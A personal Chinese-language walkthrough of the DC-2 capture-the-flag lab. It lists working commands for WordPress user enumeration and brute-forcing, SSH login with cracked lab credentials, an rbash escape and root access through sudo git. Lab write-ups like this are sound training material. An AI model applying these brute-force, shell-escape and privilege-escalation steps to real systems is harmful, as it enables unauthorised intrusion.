注:个人笔记,比较简陋,仅供参考。
**DC -2 有五个 flag,包括最终的 flag **
使用 nmap -sP -T4 10.4.7.0/24
扫描网段,找寻靶机的 IP
判断 10.4.7.131 是目标靶机的 IP
使用 nmap -A -T4 -p- 10.4.7.131 对靶机进行全面扫描,发现靶机开放了 80 端口和 7744端口。
尝试访问其80端口,发现不能正常访问到其站点
可能是DNS不能解析此域名的原因,我们可以修改hosts文件
windows 中hosts文件目录 C:\Windows\System32\drivers\etc\hosts
linux中hosts文件目录 /etc/hosts
Hosts文件作用:
将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从hosts文件中去寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,系统则会再将网址提交DNS域名解析服务器进行IP地址解析。
5.使用 10.4.7.131 尝试进行访问。
Flag
选项,成功找到了第一个 flag。Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
解析:你通常的单词表可能不起作用,所以,也许你只需要保持清醒。
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。
根据 flag1 的内容,使用 cewl http://dc-2/ -w password.txt
制作密码字典。
因为 flag1 中提到需要登录,但是网页中找不到相关的登录界面入口,所以使用 dirb http://10.4.7.131
进行目录扫描,或者使用 dirsearch -u http://dc-2/
爆破网站目录,寻找登录界面。
访问成功后,由于目前只有密码字典,所以还需要使用 wpscan --url http://dc-2/ -e u
枚举 WordPress 站点中注册过的用户名,来制作用户名字典。
使用 wpscan --url http://dc-2/ -U user.txt -P password.txt
调用相关的字典文件对网站进行爆破。爆破出来两个用户
尝试使用 jerry:adipiscing
进行登录,登录成功后,把每个选项都点击一遍试试效果,在 Pages -> All Pages
下发现了 flag2。
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
解释:如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
根据 flag2 中的内容,想到了在信息收集阶段中扫描出的 ssh 服务,并且当前我们知道两对用户名和密码,所以分别使用 ssh jerry/tom@10.4.7.131 -p 7744
尝试登录。使用 tom:parturient
登录成功。
使用 tom:parturient
登录成功,使用 whoami
查看当前权限。
发现当前为 rbash,被限制的 Shell,所以可以考虑进行 rbash 绕过
使用 ls -la
查看目录,发现了 flag3.txt
。
使用 cat flag3.txt
进行查看,发现无法使用该命令,所以尝试使用 vim
或 vi
进行查看。
使用 vi flag3.txt 可以进行访问
oor old Tom is always running after Jerry.
Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追着杰瑞跑。
也许他应该为他造成的所有压力感到不安。
export -p
发现可以使用 export
命令,所以使用以下命令进行 rbash 绕过BASH_CMDS[a]=/bin/sh;a #注:把 /bin/sh 给a变量并调用
export PATH=$PATH:/bin/ #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #注:将 /usr/bin 作为PATH环境变量导出
jerry:adipiscing
cd /home/jerry/
访问家目录,发现了 flag4.txt
。Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
解析:很高兴看到你已经走了这么远——但你还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)
这里没有提示——你现在要靠自己了。: -)
走吧,离开这里!!!!
根据 flag4 的内容,可以推断下一步需要进行提权,来获取 root 权限,访问 /root 目录。
观察 flag4 中的内容,发现了 git
这个字眼,猜测需要使用 git
提权,所以使用 sudo -l
查看当前用户可以以 root 身份执行的命令。
发现可以以 root 身份执行 git
命令,所以下一步使用 git
进行提权,使用 sudo git help config
使 git
被动调用 more
进行显示。
输入 !/bin/bash
即可提权成功,
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
祝贺!!特别感谢所有给我发推特和提供反馈的人——我非常感激。
如果你喜欢这个CTF,请通过@DCAU7给我发一条推文。
使用 nmap 找寻并扫描靶机。
使用 dirb 爆破网站目录。
使用 cewl 制作字典。
使用 wpscan 对 WordPress 站点进行扫描和爆破。
rbash 绕过
sudo 提权
git 提权
修改 hosts 文件来访问网站。
export的语法:
export [-fnp] [变量名]=[变量设置值]
参数说明:
-f:代表[变量名称]中为函数名称。
-n:删除指定的变量;实际未删除,只是不会输出到后续指令的执行环境中。
-p:显示所有的shell赋予子程序的环境变量。